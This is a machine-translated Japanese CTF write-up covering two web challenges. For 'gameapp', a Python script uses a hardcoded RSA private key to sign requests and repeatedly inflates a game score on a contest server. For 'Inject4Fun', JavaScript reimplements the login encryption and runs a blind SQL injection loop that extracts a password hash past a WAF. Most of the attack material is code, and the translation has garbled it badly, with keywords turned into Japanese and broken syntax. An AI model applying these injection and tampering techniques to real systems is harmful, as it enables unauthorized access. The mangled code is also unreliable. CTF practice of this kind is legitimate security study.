「デジタル経済」クラウドのセキュリティは、コンテストの予選ウェブWRITEUPを測定しました。

gameapp

この問題は、最初の2つがありstartgameが主であり、シミュレータを使用し、その後のAPIを獲得、そして、単にコードを見て、APKを逆コンパイルされるのpythonとの最初のRSA暗号化されたデータの後に、パッケージの下に巻き込まAPKをインストールするには(電話がボード上に存在しない)ので、 RSAを達成(秘密鍵は、オンライン検索が使用されている中で、その直接他の誰かのスクリプトが変更で変更することがあります)。99999は尋ねた質問を受けるが、100ポイントの最大値を取得するので、99ポイントを一度送信することができ、999倍100ポイントを送信します。

1  インポートはcPickle、M2Crypto、OS、urllibはは、要求
 2 BASEURL = " http://121.40.219.183:9999/ " 
3 sign_pri = ''」
4  ----- RSA PRIVATE KEY ----- BEGIN
 5  MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP
 6  / h6fAJPAS9 // qYZzy8ZfDKH1 + ezifFFCUTCCa / 8aYFoms223okyzeTlUIRHbIkto
 7  1JxYOazbsE6 + KME + yJiij4839SYuC1KsLWT82uHEA3Hau / DTzW4g4xhvzQIDAQAB
 8  AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx
 9  U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa / AcIxHpf5LqfONs9d
 10 UrozcR23s561yjX7w5akeRzOwrq2BKwVtF / EoXvJTQKlwV0CQQDY96T70hxUOLoJ
 11  FrLelwl / 4Heb0Lrz83lMB6UXknUbJgOiZr / KD9NzEM477MqzKD2rTM4TeULX6cNd
 12  hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk
 13  kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE + 7IuDAF2z79gCmUJwjfUIR
 14  hw6H95OVGS / 2RSvv8LmOFcpfoSaLB89Fw + TxYzaBoS71BAbulVJwbgGx0bcCQQCs
 15  rJxy4UJam73Sn5hDHDn9h4D9uax + ZvskpNNJ / 6uS37gbd1zOeOud / 0BoGR4oJPeq
 16  iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP / CEkXZB4sRDV / gD3mK + IY5p + ZlBSYAe
 17  KhVKdUXkdJwNqBn + iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ ==
 18  ---- -END RSA PRIVATE KEY -----は、
 19  ''」
20を デフprivate_encrypt(データ):
 21 rsa_pri = M2Crypto.RSA.load_key_string(sign_pri)
 22 ctxt_pri = rsa_pri.private_encrypt(データ、M2Crypto.RSA.pkcs1_padding)
 23 ctxt64_pri = ctxt_pri.encode(' BASE64 ' 24  リターンctxt64_pri
 25  デフpublic_decrypt(MSG ):
 26 sign_pub = ''」
27  ----- BEGIN PUBLIC KEY -----
 28  MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY
 29  ImonQdMC1Y8USwIwf7Y0GcBP / h6fAJPAS9 // qYZzy8ZfDKH1 + ezifFFCUTCCa / 8A
 30 YFoms223okyzeTlUIRHbIkto1JxYOazbsE6 + KME + yJiij4839SYuC1KsLWT82uHE
 31  A3Hau / DTzW4g4xhvzQIDAQAB
 32  ----- END PUBLIC KEY -----
 33  ''」
34バイオ= M2Crypto.BIO.MemoryBuffer(sign_pub)
 35 rsa_pub = M2Crypto.RSA.load_pub_key_bio(バイオ)
 36 ctxt_pri = msg.decode(" BASE64 " 37出力= rsa_pub.public_decrypt(ctxt_pri、M2Crypto.RSA.pkcs1_padding)
 38  リターン出力
 39  
40 DATA1 = ' { "プレーヤー": "ユーザ"} ' 
41 = 要求します。
セッション() 42(URL = BASEURL + a.post " startgame / "、データ= private_encrypt(DATA1)、ヘッダ= { ' のContent-Type '' XXX ' })
 43  のための I における範囲(999 ):
 44、R = a.post(URL = BASEURL + " スコア/ "、データ= private_encrypt("" " { "スコア":100、 "OP": "追加"} """ )、ヘッダが= { ' のContent-Type '' XXX ' })
 45  プリントr.text
 46、R = A。ポスト(URL = BASEURL + " スコア/"データ= private_encrypt(""" { "スコア":99、 "OP": "追加"} 「 "" )、ヘッダが= { ' のContent-Type '' XXX ' })
 47  プリントr.text
 48  
49 R = a.get(URL = BASEURL、ヘッダー= { ' のContent-Type '' XXX ' })
 50  プリントR
 51  印刷 A

Inject4Fun

この質問は言われる必要がある、あまり、ちょうど2つの概要

1.フロントエンドの暗号化を達成するために

1つの VARのパスワード=「管理者」2  VaRのユーザ名=「管理者」3  のvar A = '1234567890abcdef' ;
4  VARのキー= CryptoJS.enc.Latin1.parse(A)。
5  VARの IV = CryptoJS.enc.Latin1.parse( '1234567890123456' )。
6  のvar DATA1 = ユーザ名;
7  VAR encrypted1 = CryptoJS.AES.encrypt(DATA1、キー、{IV:IV、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。
8  のvar DATA2 = パスワード;
9  VAR encrypted2 =CryptoJS.AES.encrypt(DATA2、キー、{IV:IV、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。
10  VaRの RSA = 新しいRSAKey()。
11の VaRのモジュラス= "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B" 12  VaRの指数= "010001" ;
13  rsa.setPublic(モジュラス、指数)。
14の VaRの RES = rsa.encrypt(A)。
15  VaRの XHR = 新規のXMLHttpRequest();
16 xhr.open( "POST"、 "http://129.204.73.141:2000/login.php"、偽の);
17 xhr.setRequestHeader( "コンテンツタイプ"、 "アプリケーション/ x-www-form-urlencodedで" )。
18 xhr.send( "ユーザ名=" + encrypted1 + "&パスワード=" + encrypted2 + "&コード=" + RES)。
19  xhr.response
 20 2 绕过WAF。
 21  给出ペイロード直接这里
 22  
23  VaRのユーザ名= "管理'=(左(右(パスワード、1)、1)>' A ')=' 1"; // 返回間違ったパスワード
24  VaRのユーザ名= "管理者'=(左(右(パスワード、1)、1)<A' ')=' 1";

なぜ、WAF毒性この問題を知ってはいけない、それがランダム性を引き起こす可能性、我々はランダムに生成された16ビットの鍵を変更することによってこの問題を解決することができます

WAF毒性の問題ではなく、使い捨ての32ビットのハッシュが実行されていたため、多くの変更が完了したハッシュを取得する必要があります

1つの VARのパス= '' ;
2  VAR S = '1234567890abcdef' ;
3  VAR ; N <33; n = 1のN ++ 4  {
 5  のためのVAR I におけるS)
 6  {
 7  VaRのパスワード= "管理者" 8  VaRのユーザ名= "管理'=(左(右(パスワード、 "+ N +")、1)='" + S [I] + " ')=' 1" ;
9  のvar A = '1234567890abceef' ;
10  VaRのキー= CryptoJS.enc.Latin1.parse(A)。
11  VARIV = CryptoJS.enc.Latin1.parse( '1234567890123456' )。
12  のvar DATA1 = ユーザ名;
13  VAR encrypted1 = CryptoJS.AES.encrypt(DATA1、キー、{IV:静脈内、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。
14  のvar DATA2 = パスワード;
15  VAR encrypted2 = CryptoJS.AES.encrypt(DATA2、キー、{IV:静脈内、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。
16  VaRの RSA = 新しいRSAKey()。
17  VARモジュラス=「CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B」18  VaRの指数= "010001" ;
19  rsa.setPublic(モジュラス、指数)。
20の VaRの RES = rsa.encrypt(A)。
21  VaRの XHR = 新規のXMLHttpRequest();
22 xhr.open( "POST"、 "http://129.204.73.141:2000/login.php"、偽の);
23 xhr.setRequestHeader( "コンテンツタイプ"、 "アプリケーション/ x-www-form-urlencodedで"24のsetTimeout(xhr.send( "ユーザ名=" + encrypted1 + "&パスワード=" + encrypted2 + "&コード=" + RES)、1000年);
25  であれば(xhr.response.search( '間違ったパスワード')= - 1] 26 {+ = Sを通過[I];はconsole.log(S [I] +」「+ N)。破る;}
 27  }
 28 }

おすすめ

転載: www.cnblogs.com/kagari/p/11617327.html